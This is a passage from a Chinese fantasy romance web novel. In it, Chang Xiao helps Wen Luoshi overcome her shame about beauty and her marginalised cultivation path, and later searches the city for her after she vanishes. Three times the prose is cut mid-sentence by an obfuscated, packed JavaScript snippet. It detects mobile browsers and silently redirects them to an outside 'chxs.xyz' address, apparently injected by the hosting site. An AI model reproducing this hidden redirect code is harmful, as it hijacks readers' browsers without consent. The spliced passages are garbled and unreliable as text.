这一刻,她有种强烈的不配得感,手悬在空中不动了。 长晓在一旁,见她手不动了,便道:“都是些普通药材,只不过是我跟别人学的配药方子比较特殊,不外传而已。” 文落诗知道自己什么都写在脸上,长晓很容易知道她在想什么,但是他越说,她就越觉得自己践踏了什么东西。 小时候她经常看到一些朋友整体涂涂抹抹,非要把自己打扮得多出众才行,好像只要外表好看了,就能证明自己很优秀一样。然而,这些人优秀了,却并不把优秀用在所谓正当的地方,她们整日游山玩水、流连于市井巷陌、酒肆茶坊、秦楼楚馆,成了不学无术的代表人物。她一心学习,从不顾及这些,可在她的无意识中,轻浮和打扮这两个无关的词,联系在了一起。 如今她长大了,刚刚得知胭脂水粉为何物,却在真正自己偷偷买了一盒口脂的时候,忍不住深深地谴责自己,我要学坏了,我再也回不到当初了。 “之前常绫在的时候,我都说了,我不是那种在意自己容貌的人,也不会天天照镜子看自己好不好看。” “落诗,我知道你不把生活重心放在无意义的夸张打扮上,这是好事,但是爱美之心人皆有之,此乃人之常情,不是什么丢人的事情。” “可是……” “你又不是在为了别人涂药,更不是为了我,而是为了自己高兴,你想想,以后每天看镜子,看到自己完完整整一张脸,肯定比你看到一道旧疤要开心吧?” “嗯。” “你又不是只顾着容貌而其他事情一塌糊涂的人,这么有所作为了,在此之上,顾及一下自己的形象让自己更加心悦,又能怎样呢?” 文落诗想想,他说的是对的。自己以往从来不敢想这个问题。 “要不我帮你涂?” “啊,不要,不必了,我自己来就行。” 长晓看着她躲闪的样子,嘴角轻轻上扬。 “我还道你完全不在乎呢,毕竟你上午可是主动凑过来,抓着我的胳膊站起来的。” “……那倒也不是完全。而且我也没有那么……” “啧啧。” “哼。” “自己好好涂。” “长晓,有没有人说过你很会欺负人啊。” “那倒是没有。” “那我今天说了。” “行,你说便是了。不过,落诗,有没有人说过你很漂亮啊?” “啊?” 14. 弦断之音谁人听 文落诗手上粘满了黏黏的药膏,正在往自己脸上的伤疤处一通乱糊。她正在看镜子,听到长晓那句话的时候,她以为自己听错了。 看着她满脸写着不解,长晓又道:“看来是真的没有,可能大家不愿意这么直白。那我就当第一个说出口的人吧。” 文落诗再次怀疑自己没睡醒。 自己活了这么多年了,什么话没听过,可是长晓口中的语句,还是有点太令她震惊了。 于是她深吸一口气,先是装作没听见长晓的话,十分镇定地把药膏给自己涂完,然后断片似的回答了一句:“没有。” 她回答的是长晓的上一句话。 长晓看出来了,她并不喜欢这个话题,不想面对,也不愿意继续讨论下去。 但是,人是需要成长的。不想面对的事情,也终归是要面对的。 文落诗也意识到了,好像这个话题不得不继续了。于是她等来了长晓的继续开口: “那你自己觉得吗?” “不觉得。” “那我现在可以说吗?”长晓紧盯着文落诗那双泛着水光的眼眸:“落诗,你真的特别漂亮。” “……我从来没觉得过。” “嗯,那你现在觉得吗?” “……我不觉得这是一个很合适的夸奖。毕竟,如果你想夸一个姑娘,可以从其他方面夸的。单夸脸算什么。单说脸,只能证明说话之人的肤浅。好像我的意义只是取悦别人。” 长晓等的就是她这句话。 “所以,你很排斥梳妆打扮,也很排斥一切跟‘美’相关的事情,只是因为觉得,自己做这一切,都是在为了别人的眼光而做?” “也不是,”文落诗不知怎的,面对这样一个刚认识没几天的人,就是特别想把从来没有跟别人说过的话吐露出来,“我只是觉得,如果我这样做了,就活成了曾经最讨厌的那一类人,进入了那个带着负面标签的群体之中。” “所以你觉得这种人是……” “不学无术。” “那你是吗?” 文落诗能感受到长晓是想帮她,但是越想越觉得委屈,眼眶里有点水的荡漾着,她忽然好不甘心,不知为何,她想到了那本被自己拿进屋却一页也没看进去的紫色封皮的书,于是赌气道:“我是。” 长晓看着她的样子,没有过多言语,只是默默地拿出手帕,轻轻蘸了蘸她的眼角:“你不是。” 文落诗再也坚持不住了,眼泪哗啦哗啦往下掉:“我就是。” 长晓收回手帕,任由她大哭,只道:“不只是我,全城的人都知道你不是。” 好像溺水之中忽然触碰到了一丝暖流,可这丝暖流越是柔软,溺水之人就越是觉得不敢接受这份好意。 文落诗知道长晓说的是对的,也知道自己一直在为了那些所谓的虚名而一个劲钻牛角尖。她甚至知道长晓是故意激她的,因为她在高压的环境下持续了太久,太需要一个突破口,大哭一场,以发泄心中堆积已久的崩溃情绪。 而长晓心甘情愿做了这表面上的恶人,故意进来和她说话,要求她抹药,提及她的容貌问题,再把她说哭。一切看上去这么残忍,可这气压极低的表面之下,她甚至不敢想象,长晓有多用心。 她抽噎许久,长晓也表示尊重,一声不吭,坐在她面前。 文落诗从控制不住地一喘一喘到渐渐平静下来。直到她缓过来了,长晓才重新拿起手帕,给她轻轻拂去满脸的泪痕,和眼角边挂着的还未来得及流下的泪珠。 “好点吗?没哭够就继续,我不介意。你把我当成自己人,不用在乎有的没的。” “嗯,”文落诗抽噎一声,“谢谢你。” 长晓知道,她的意思是,她明白他做这些、说这些的真正目的了。 “落诗,你是个特别好的人。方方面面都很好。美貌只是附加。不是决定你好不好的因素。” 文落诗觉得,这辈子第一次,遇到一个能让自己在冬年之中感觉到不冷的人。 “我让你抹药,也是为了你能修复已经快要消磨尽的自信,不是为了别人,也不是为了我能欣赏一张更好看的脸。” “我知道。我听出来了。” “你无意中把‘美’和那些少数的负面印象联系起来了,并且自己心里不断强化这种想法,这才导致你如今觉得关注自己的外形是一件耻辱的事情。我猜不准你之前经历过什么,但是你大概是内化了社会上那些流行的扭曲的想法。因为抵抗不过,就逆来顺受了。” 接着,长晓看着她手里的那个水晶湖蓝色的瓶子,补充道:“你修道之事,也是一个道理。” 文落诗沉默。 是这样,长晓说得一点错没有。 而且他说的这些,自己潜意识里都知道。只不过从来不敢去触碰。如今被他和盘托出,倒也觉得没什么大不了的了。 “所以,如果你能在照镜子的时候获得自信,如果你能从给自己理云鬓贴花黄的时候获得快乐,那这些事情就是值得去做的,也是你完整一个人的其中很重要的一部分。 “至于那些说你打扮是为了给别人看的人,不理睬就好了,你自己坚定,有底气,就不会在意这些了。 “你修露烟道之事,也是这样。其实我不说,你也大概知道,这个社会的风气现在很是奇怪,大家互相看不起,在某些言论的鼓舞下,众人对熙光道趋之若鹜,也从来不会去思考自己在随什么波、逐什么流。而你,一直在‘索性放弃反抗、加入世间的洪流’和‘坚持跳出这蔓延开来的邪风、保持自己真正热爱’两者之间徘徊不定。我知道你想坚持后者,可是你一个人太苦太累了,总有一天会被这股风压倒,从而自暴自弃,选择前者。” 文落诗很少见长晓说这么多话。她知道长晓还没说完,但还是忍不住打断:“我好像明白,为什么你说我们是一路人了。我能否最后确认一件事?” 长晓几乎猜到了她要问什么,却还是点头,示意她问。 “你是修哪一道达到融雪的?” 长晓对上她那双早已不再流泪的眼,并以笑意相迎:“你能问出这句话,不就证明已经知道答案了吗?” 文落诗接过长晓手里的帕子,最后索性把所有眼泪擦干净,像是在拂去一些旧事,迎接一些从没遇到过的新的希望。 擦脸之时,她终于听见长晓用最沉静、最厚实、最庄重声音说出了那几个字: “露烟之道,所及融雪。” 在世界沉寂了片刻后,文落诗觉得心里一块巨大的石头终于落地了。 “长晓,”她对上他那双极好看的眼,刚哭完的声音还有点沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491151|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑,“谢谢你救我。” 她知道,从这一刻起,她终于不再是那个踽踽独行、误以为自己会永世孤独的人了。 而长晓闻言沉默了一会儿,道:“言重了。即便没有我,你也迟早有一天会想通的。但是我不一样。如果没遇到你,有些事情,我可能不会想通。所以,其实该是我谢你。” 文落诗有点懵。 她知道,自己并非那种掉进河里就游不上来的人,但是如果有人拉她一把,当然好过自己在水里扑腾好久才上岸。因此,她十分感谢长晓。 但长晓最后那句话,她并没明白,自己让他想通了什么。 这时,长晓又道:“倒是我,对不住你了,把你惹哭了一鼻子。” 文落诗连忙摇头:“我总要大哭一场才能发泄出来,而我也能看出来,你是故意去当恶人,给我这个哭的机会的。” “你太透彻了,有时候会很累的。”长晓顺手给自己拿了个茶杯倒茶,不再直视文落诗。 文落诗盯着长晓那双正在倒茶的手,忽然想到一个问题,声音中带着一丝沙哑:“长晓,你以前这么劝过多少人啊?” 长晓倒茶的手悬在半空中,壶嘴的水流也刹那间停住。 “我以前是一个人长大,也一个人去过很多地方,见过形形色色的人。后来我家中事情复杂,加上母亲身体不好,就很长时间没再外出过。直到如今,多年后再次出门,一路下至稀音城。”长晓看向自己的茶杯,像是故意躲开文落诗的视线,“不管如今,我确实是第一次主动约别人,请别人在我面前晃悠。如果招待不周,还请见谅。” 文落诗有些发怔,不过她反应极快:“哪里的话,我感谢你还来不及。” 她脑海中复盘了一下长晓的一席话,基于多年写文章所炼成的对文字敏感度,她发现了一个很特殊的点。长晓说自己“一路下至稀音城”,用的是“下”字,而且是“一路”。稀音城在第一重天,整个魔界的最低处。长晓的来历,很值得思考。 不过她没有问出口。 长晓像是想通了一些事情,继续给自己倒茶,水流又缓缓从壶嘴处流出。此时此刻,屋外又下起大雪。 冬年就是这样,大雪随时都有可能光顾任何一座城池。只不过,这场雪来得急,连个预兆都没有,就急匆匆赶来,将冷气充斥了整座城。 门并没有完全关,从虚掩的缝隙中,可以隐约看到屋外簌簌而落的大雪,正斜斜地奔波前往大地的方向。 长晓也给文落诗倒了一杯茶,文落诗朝他点点头。 落雪声与水声交织在一起,混着不远处时有时无的柴火的噼啪声,再加上暖炉里徐徐冒出的热气,两人都沉浸在这幅安逸的画卷之中,都很默契地没说话。 长晓不知道在想什么,而文落诗一直看着长晓,思考他在想什么。 终于,长晓再次轻轻开口:“很久之前的某一天,我忽然发现,好像我也就两条路可以选。要么,一辈子不快乐地活着,换别人可能高看我一眼的机会;要么,一辈子生活在自己的快乐中,而这快乐在别人眼中却永远不重要,甚至旁人会轻视我的快乐。” 文落诗太懂这种感觉了。两个露烟之人同病相怜。 “所以,我当时就问自己,一辈子快乐地痛苦,和一辈子痛苦地快乐,选哪一个。” 15. 弦断之音谁人听 文落诗眨巴眨巴眼睛,轻抿一口滚烫的茶水。 这个问题太难回答了。 好像世界上总有些人,喜欢的事情就是不被世间认可的。 比如那些想修露烟道的人。 比如想成为乐师的长晓。 比如以文字为生、却志在写话本的她。 长晓似乎没有给文落诗过多的思考时间,继续道:“直到过了很久,我才想明白,我想要的一定是后者,那是真正属于自己的快乐。旁人或许会睥睨,会轻视,会嘲笑,会恶语相向,但是我一定要后者。因为,前者的快乐,是虚假的快乐,是别人定义的快乐。如果有一天,世间的定义改变了,那我终会落得一个什么也不是的下场。” “所以……你是想改变这世间的普遍定义?”文落诗斟酌许久,才问出这么一句话。 而长晓没有正面回答,反倒抛出一个问题:“落诗,你为什么还坚持露烟?” 文落诗被问住了。 这个问题不难回答。就是喜欢,喜欢二字足以。但是有时候,喜欢是不被允许的,是有巨大代价的。也不是每个人都有权利去喜欢的。有时候,最初那最单纯的喜爱,是日后颠沛流离的原罪所在。 但是,生活不是以财富和虚名为目标的。相较于将这些视为最后的成果、能证明自己价值的武装,文落诗更倾向于将这些视为一个获得幸福的过程。对于人人推崇的熙光道来说,想办法给自己赚到最多的钱,是最终的目的。而对于文落诗来说,赚到钱是一个“途中”需要做的事情,而这个过程中,也是自己生命继续前进的过程。 或许终点,就是自己想要获取的幸福。 文落诗感由心生,想到了一个回答: “因为,我不想以痛苦的姿态活在这个世界上。” 长晓闻言,并没有把头转回来,而是默了默,继续问道:“哪怕,跟家庭决裂,从此失去所有支持?” “你怎么知道……”文落诗有些震惊,但她很快就想明白,原来他们的过往真的很像。 她道:“我本来就没得到过支持。我不想成为一个空壳,好像自己的身体是父母期望的一个新寄托一般。他们会把自己未完成的事情和过往的遗憾强加在我身上,不知不觉中,让我生命的意义变成了补偿和满足他们的愿望。但是,我是我自己,我不应该为他们的遗憾负责,也没有这个义务去帮他们实现他们的遗憾。” 文落诗知道自己这话说得重了。果不其然,长晓沉默了很久。 “我不痛苦,因为我现在是我自己。”她最后补充道。 杯中的茶水已经凉得差不多了,她举杯,一饮而尽。饮罢,她胳膊支着桌子,悠闲斜举着茶杯,看向长晓。见他一直盯着窗户的方向,仿佛沉浸在细碎的落雪声中,文落诗也学着他的样子,头转向窗外。 过了不知多久,长晓终于转过头,再次开口:“落诗,有的时候,我会很恍惚。你似乎正在走我过去走过的那条路。” 文落诗“哈”地一笑,又重新给自己和长晓倒了两杯热茶:“那我这是在重蹈覆辙,哦不,重蹈你的覆辙喽?” “你不会,”长晓拿起茶杯,“因为我虽然有过‘覆辙’,但现在却能完完整整地坐在你面前。” 文落诗期待他继续说下去。 长晓的嘴角带着一丝凄然的笑,轻叹一口气:“我以前一直觉得,自己活得太不符合这个年纪了,好像自己经历得什么都太早了,于是,不得不感叹于别人的经历,看着别人陷入我当年的痛苦之中,焦灼地思考着我当年在夜深人静时思考过的事。久而久之,我目睹一个又一个人在半途中沉沦、挣扎、最终放弃。你可能不知道,这种眼睁睁看着别人在画地为牢,你却无能力为的感觉,太折磨人了。” 文落诗点头:“我不可能完全理解你,但是我尽我最大努力去理解。” 长晓看了看她的样子,像是在看一件令人唏嘘的珍宝。 “当然,我见过的这些人中,也有少数的人坚持下来,只不过他们都慢慢回到了人海之中,过好自己的日子,再无声息。” “嗯,”文落诗表示十分理解,“我以前也是,觉得平平淡淡过完一辈子挺好。特别是这种用痛苦换来的平凡。” 长晓嘴角一扬:“你要是真这样想,我当然不会拦你。” 文落诗看着他这种故意说反话的欠打的样子,险些当面翻个大大的白眼。不过她忍住了,只在心里小小地翻了个白眼,嘴上漫不经心道:“那我要是不这么想,你是不是就得拦我了?” 长晓一愣,被她的思维方式绕进去了。待他捋清了这两句话的关联,文落诗已经继续开口了:“我要开始长篇大论了,用句自嘲的话,这是我这种文人墨客的通病。你做好准备。” 长晓闭眼一笑,欣然道:“请。” 文落诗长长地吸了一口气: “以前的我,确实希望自己如同你所说的那些人一样,待自己挣扎出个结果后,就回到人海之中,从此沉默、不问后来者,也再不立于人群之前。不过,经历了这些天的事情,我更想帮这些还没熬出头的人做些什么。 “我不想只顾着自己了,世界上还有无数人在挣扎着,等待着重新挺直了腰板、做回真正的自己那一天。他们需要被肯定,他们需要知道自己是一个个有意义的个体,在做喜欢的事情,而这些事情存在价值。如果他们需要有人拉一把,那我愿意冲上去。 “这个世道扭曲了太久了,好像一切都被分成了三六九等,所谓跨越阶级,不过是在那一套人为创造的等级概念中打转。五道不应有高低之分,如今硬生生排出个高低顺序来。更可怕的是,人们习惯了逆来顺受,只想着如何在这套人为制造的枷锁中适应生活,如何在此之中一跃而上,如何成为那少部分的可以俯视别人的人,却不曾考虑过,这套思维的本身是否合理。 “所以,我想做第一个试图去挑战这个腐朽已久的规则的人。” 文落诗结束了自己的长篇大论,给自己猛灌一口茶水,压压惊。毕竟在别人面前这么掏心掏肺,她还是会感到面部发热、身上汗流浃背的。 长晓给她拿了一个新杯子,又递了一杯水:“嗯,然后呢?你这是要往第九重天上走的意思?” 第九重天上只有一处地方,那就是融雪城。融雪城是魔界都城,自然居住的都是那些高官厚禄、在朝堂上叱咤风云的人物。长晓如此问,文落诗一下子就明白他什么意思。 这是要问自己,有没有将来入朝参政的打算。 文落诗心中好笑,表面却忍住了,直道:“那倒真的不必了。” 长晓眼角微微垂下来。忽然,像是顿时想到一件什么事,眼神中闪过一丝玩笑的意味。 “其实,也不一定非要入朝。融雪城中不仅有朝臣的居所,还有魔宫。” “我这点常识还是有的,”文落诗又险些当面翻白眼,“所以?” “众所周知,”长晓抬眸,似笑非笑盯着文落诗的眼睛:“当今魔族的太子还未娶妻。你不妨考虑。” “……”文落诗这回实在没忍住,翻了个大白眼,头一歪,“长晓,我可真的谢谢你了,我不考虑。我这辈子估计连他的影子都见不着一次,而且我对这些情情爱爱的东西没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491152|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴趣。再者,当今大战在即,也就五十年不到了,他估计在魔宫里忙得四脚朝天的,得是脑子出了多大的问题,才会在这个节骨点上出宫瞎逛荡。” 魔界的婚姻制度非常简单,就是两情相悦,只求一生一代一双人,没别的,也不会有人去管两个人是否门当户对,或者是否属于一个阶级。当然,近年来各道之间鄙视链盛行,就另说了。哪怕是一界之主,也不会考虑繁琐的各种因素,只会选择自己真正喜欢的人。 当今的魔尊沧葳,也就是当今太子的母亲,当年人海中一眼相中毕生所爱之人暮然,不久后与他成亲,立他为后。两人情深意重,恩爱有加,多年后,魔族太子沧暮出生。可惜天道无情,在沧暮出生的第十年,暮然遭遇毒害,溘然长逝,至今无人知晓是何故。那年,只有十岁的沧暮,也永远失去了父亲。 不过,这个故事所得出的重点是,当今已经长大的那个太子,在未来只会选择自己真正喜欢的人,无论这个人是谁。 文落诗十分无奈,她觉得长晓是在开玩笑,但这个笑话也太冷了点。 长晓这时又把头转向窗外,不再直视她的面孔。文落诗心里纳闷了,屋外面有什么好看的吗?怎么跟我说话的时候,他总是看外面呢? “好了,不跟你聊了,我要去洗脸了。刚刚哭了一鼻子,再不洗脸,眼泪流进伤口里了。”面对持续已久的沉寂,文落诗率先开了口。 “也好,”长晓终于转过头,“那我便不叨扰了,你好好休息。” 他起身拂了拂衣袖,走到门口,忽然回头。 文落诗本来也要起身去洗脸了,却见他迟迟不走,知道他有话要说。 长晓这次开口,语气有些沉重感:“落诗,你想做的便是我想做的,所以,我会支持你。” “多谢啦,”文落诗笑眯眯地看着他:“不过,我需要的可不是你的‘施舍’哦。” 长晓颔首:“那当然。”他转过身,用那双比雪光还白皙美丽的手,轻轻推门屋门,像是生怕推门的声音惊扰了这份安逸。 文落诗想了想,觉得有些话还是有必要说清楚,于是又补充道:“你做的这些,我会很感动。但是,感动与心动不一样。” 那之后,空气安静了许久,只剩下风雪的声音。 有些话说出去就再也收不回来了。 文落诗习惯把所有错误的萌芽都扼杀在摇篮里。所以,这句话,她知道很决绝,却还是选择说了。 长晓正欲迈步跨出门槛,忽闻此言,脚步一顿。 “好,听你自己的。” 长晓语气中没有任何波动的情绪,也没再回头。外面的雪太大了,他刚跨出门,便觉一阵极冷的气息袭来。 很久没有这么冷过了。他心想。 两人的房间离得很近。长晓的主屋在院子的中间,而文落诗暂住的是院中右侧的一处房间。可是,雪已经大到遮挡了所有视线,文落诗只能目睹他的身影淹没在漫天飞雪之中,连目送都做不到了。 顷刻之间,文落诗看到门侧立着的纸伞,才反应过来,他没打伞。 他是淋着雪回去的。 她骤然起身,也不顾站不站得稳,冲到门口,捞起纸伞,一把将门狠狠推开。 风雪便是在这时候涌进了屋内,浇灭了全部的温暖,也环绕了文落诗衣衫单薄的周身。 她的视线被大雪搅得凌乱,远远地,她只看到了长晓居所的门,恰好此刻,倏然关上了。 她彻底愣在原地。 许是风太大了,雪太深了,她的手冻僵了,手中的那把伞再也握不住,颓然掉落在地。 16. 弦断之音谁人听 文落诗回到屋中,直到洗完脸,还处于恍惚中。 她重新看到镜子里自己的脸。 这次,她很认真地涂抹了药膏。她觉得长晓说得很对,没必要觉得重视自己的外貌是一种罪过。她爱惜自己是天经地义的,没有理由愧疚。 抛开右颊上那一道深深的暗绿色划痕,文落诗第一次发现,自己好像确实不难看。 她脑海中灵光一现,立刻跑到桌案前,打开自己已经写好的手稿,开始删删改改。 以前的她,想在话本里突出女主角的自强,于是给她们按上了各种“强”的人设。她很喜欢写一个主角忽略自己身为一个姑娘的特征,拒绝做那些“无意义”的事情,比如给自己施粉涂抹画眉。她以为,写一个姑娘强,就需要让她看不起这些事情。 直到今天,她才觉得,自己以前大错特错了。 女孩子变强是不需要以抛弃自己的性别特征为代价的。相反,属于自己独有的那些,应该值得骄傲。不是说爱美或者梳妆打扮,就注定会拖事业的后腿了。把自己打扮得漂漂亮亮、心情好好的,和雷厉风行地去搞事业,一点都不冲突。 待她把整篇稿改完,屋外雪早已停了。 她才发现,她整整写了一下午。此刻的她,口干舌燥,劳累不堪,把笔一放,便整个人瘫在桌案上。 写东西的时候是真的很投入,废寝忘食,如今肚子里空空的,镜子里的她更是目光呆滞,不像是活人。 不过,她奇迹般发现,自己脸上的伤疤好了不少了。 不知为何,她又看了看茶几上那个水晶湖蓝色的瓶子,心情有些复杂。好在她实在没体力胡思乱想了,今天白天消耗过大,所以,她用最后的体力披上斗篷,跑去厨房,给自己煮了碗热乎乎的面条吃。 吃完面条,文落诗想起了后院中的猼施。 对哦,它今天还没吃饭。 猼施也是不需要吃饭的。但是,它与魔的区别是,魔辟谷后,能正常生活;而它,如果不吃东西,能正常生活,但会拒绝干活。 文落诗顺手拿了两根红萝卜一根白萝卜,安步当车,去了后院。 大雪刚过,院中积雪极厚。此刻正值傍晚,那前楼与后院相隔的屏障已经不见,立于后院中,便能看到前方的酒楼灯火通明,人影绰绰。一片静谧的深夜中,这些红红火火的灯光因人影晃动而忽明忽灭,倒是给冬年添加了不少温暖的感觉。 有几个小伙计从酒楼后院中出来,端着几盘菜,看样子是去给他们东家送晚饭。巧的是,那个当日把她带来春庭酒楼的小伙计也在其中。 文落诗向他点头问好,他也嘿嘿一笑,凑过来问:“文姑娘,你还没吃饭吧?我们一会儿也给你送一份饭过去。” 文落诗心想,原来长晓真的在按时吃饭,还要这么多饭菜。这日子过得够奢侈的。 她连忙摇头:“我刚去厨房下了碗面条,已经吃过了,你们辛苦,不用管我了。对了,你叫什么呀?” “我叫十九,出生那天刚好仲四月十九。”小伙计眼睛溜溜一转,凑过来:“文姑娘,你知道吗,这么多年了,我第一次听说主子让别人在他的后院留宿。不只是春庭酒楼,主子的所有产业,都史无前例。” “是么,”文落诗漫不经心,面色如常,“看来我挺荣幸啊。” 小伙计是万万没想到文落诗反应这么平静。他皱了皱眉头,对文落诗很是不解,便转身跟上了其他人,进了长晓的屋子里。 后院里,猼施正百无聊赖地趴在地上,一看就是闲得发慌,无所事事,和文落诗那种大干一场后的疲惫不堪形成了鲜明对比。 它微微抬头看向文落诗的的憔悴模样,好像每一根兽毛都充斥着鄙夷的色彩。 这也太不公平了,文落诗心道。下辈子她也要当只猼施。需要的时候拉拉车就行了,剩下的时间全都闲着,思考兽生。 不过,看到文落诗手里的萝卜,猼施收起了自己全身散发出的鄙夷,转化为眼巴巴地乞求。 这脸色变得也太快了。就跟他主人一个样。 文落诗没好气,却还是保持着耐心,把萝卜一根一根喂给它。 天已经完全黑了下来,空中不见任何白日的影子。 此时,一阵琴声传来。 文落诗喂猼施的动作一顿。 转而,院落里几个小亭子模样的地灯亮起,黑夜之下,围墙之内,显得没那么压抑了。 而就在灯亮起的那一刻,文落诗忽然想到了什么,扔下萝卜,冲出后院,跑进了酒楼的厨房里。 * 长晓用完晚饭,正在聚精会神看一本折子。十九过来收拾盘子,蹑手蹑脚,生怕打扰长晓。 “十九,”长晓抬首,叫住正准备出门十九,“她吃饭了吗?” 十九一怔,好一会才反应过来:“哦,那个,主子,文姑娘说不需要了,她之前自己下了碗面条。” 长晓皱眉,慢慢放下手中那本写满了字迹的折子。 “她现在在做什么?” “小的不知道啊,刚刚好像看她又去酒楼的厨房里了。” “去帮我看一下。”长晓重新拿起那本折子,不再多话。 十九却感受到了一丝不对劲,一溜烟走了。 没多久,十九火急火燎地回来了。 “如何?”长晓头也不抬,没注意到十九焦急的脸色。 “主子,不好了,文姑娘不见了!酒楼里的厨子说,大概一个多时辰前,文姑娘冲进厨房里,从火堆里抢走一块巨大的木头,然后回后院了。但是刚刚,我去敲她门,无人应答,一推门,发现里面一片废墟般的场景,各种东西横七竖八地堆在地上,还有火烧过的痕迹。” 长晓猛然抬头,扔下手中的折子:“屋里没人?” “没有啊!”十九急得直跺脚。 长晓骤然起身,顺手批了件墨色的斗篷,甚至没顾得上顺一顺斗篷领口处的绒毛,快步走出门去。 他走到文落诗房间的门口,一把推开门,看到了里面的满目疮痍。 像是什么东西把屋子给炸了一样,各种碎布、木茬、火灰堆了一地。狼藉的角落里,还能看到那本被她拿走的熙光道书籍。 长晓仔细看了看,不觉得像是打斗痕迹。而且,他回想了一个刚刚一个时辰内,没有感受到有人进入后院的气息。 但除非,对方比自己修为高,自己感受不到。 长晓心中一惊,一下子觉得自己乱了。目睹着空无一人、静得有些可怕的屋子,他尽力思考着各种可能,也暗自埋怨刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491153|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把注意力全都集中在处理事务上,丝毫没管她在做什么。 各种思路撞击在脑海中,就在长晓打算扶额之时,十九的声音忽然在身后响起: “主子,我刚刚去问了酒楼里所有伙计,一楼管门口的那个小二说,半个时辰前,文姑娘出门了!” 长晓一刻也不犹豫,转身走出房间,从后门进入了酒楼之中。 天色已经不早了。最起码已经过了更定。春庭酒楼是出了名的打烊时间晚,但此刻酒楼大堂内,已经没几个客人了。 那个门口的小二看到主子来了,快手快脚跑来。 “文姑娘大约半个时辰前从这里出去了,往右边那个方向。” 长晓停住脚步,双眸一垂,吩咐道:“十九,叫酒楼里所有人立刻停下手头的事情,出去找文姑娘的下落。” 十九干事利落,立刻传达命令,一时间,酒楼里所有人一涌而出,奔向不同方位。 长晓随便找了个地方坐下,深深叹了叹气,正欲合眼静一静,却看到一桌客人吃完了要付钱,却东张西望,找不到人。他摇摇头,深感无奈,只得走上前去。 那客官一见此等气质不凡的人物走来,略微一愣,猜道:“你是这里的东家吧?怎么都这个时辰了,伙计们全急匆匆跑出去了?” 长晓略带歉意:“实在抱歉,在找人。” 那客官从兜里掏出一把魔珠,低头在桌上拨弄着,数着数量,嘴里“嘶”一声:“找人可不好找了,毕竟,现在这个时辰,开着的地方也不多了。” 此时,一阵窸窸窣窣的脚步声跑来。长晓回头,只见一个店小二气喘吁吁地道:“主子,十九刚刚说,有人见过一个女子,大概就是文姑娘。” “她在哪里?” “他只说,看那个女子朝着绛霞巷子的方向去了,”店小二看着长晓身边正在数钱的客人,急道,“主子,我来收钱,你快去找她吧!” 那正在数钱的客官一听此话,“哈”地一笑,边叹气边摇了摇头。 长晓这辈子第一次觉得,自己遇到事情有些无措。他下意识问道:“绛霞巷子在哪里?” 客官甚是无奈地抬头看了长晓一眼,像是带着不屑,继续数钱:“一路沿着主街往城西走,过了那个什么客栈,右转,再一路走过三个街口,左转进去,走到头,那一片都叫绛霞巷子。”说罢,他终于数好了钱,塞到了店小二手里,起身准备离开。 店小二汗颜,面色有些不自然,一个劲地暗示自己家主子,别问了,别问了。 长晓听懵了,丝毫没注意到店小二和这个客官的表情,发自内心地继续问道:“巷子里是什么地方?” 店小二龇牙咧嘴,支支吾吾半天,没说出话来。 最后,还是那个临走出门口的客人看不下去了,头也没回,补了一句:“绛霞双楼。” 在所有人都以为这个东家肯定已经明白了的时候,长晓却破天荒地又问了一句:“绛霞双楼,是做什么的?” 那客人已经离去了。店小二看着长晓一脸真诚地发问,凑到跟前,用蚊子般的声音说了一句:“主子,那是两个特别有名的……风月场所……” 长晓的眼眸瞬间睁大,整个人僵住。 下一秒,人已经消失得无影无踪了。 17. 弦断之音谁人听 文落诗抱着一个巨大的布袋,站在绛霞双楼门口,目瞪口呆,真真切切感受到了什么叫门庭若市。 夜晚的稀音城是很安静的,大街上静得可怕,静得连一滴水掉落的声音都能听见。文落诗一路提灯走过,有些提心吊胆。街边店铺都已经插上了门板,冬年的天空中也冷清的很,只有偶尔几丝流星划过,转瞬即逝。 但是,这一切的令人毛骨悚然的寂静,在进入绛霞巷子后,发生了质变。 这里灯火通明,人声鼎沸,交谈声此起彼伏,鼓乐笙箫声更是不绝于耳,仿佛与外面是完全两方天地。茶楼中演出不断,酒肆里推杯换盏声交织,远处瓦舍里斗鸡、玩弄傀儡的更是大有人在,若不是天空中的黑色浓郁、地面上已点起了重重灯,走进这里,根本意识不到已经过了更定时分。这种氛围渲染出的热,仿佛能融化整个冬年之中的雪。 文落诗就是那个被这些声色犬马彻底震撼住的人。 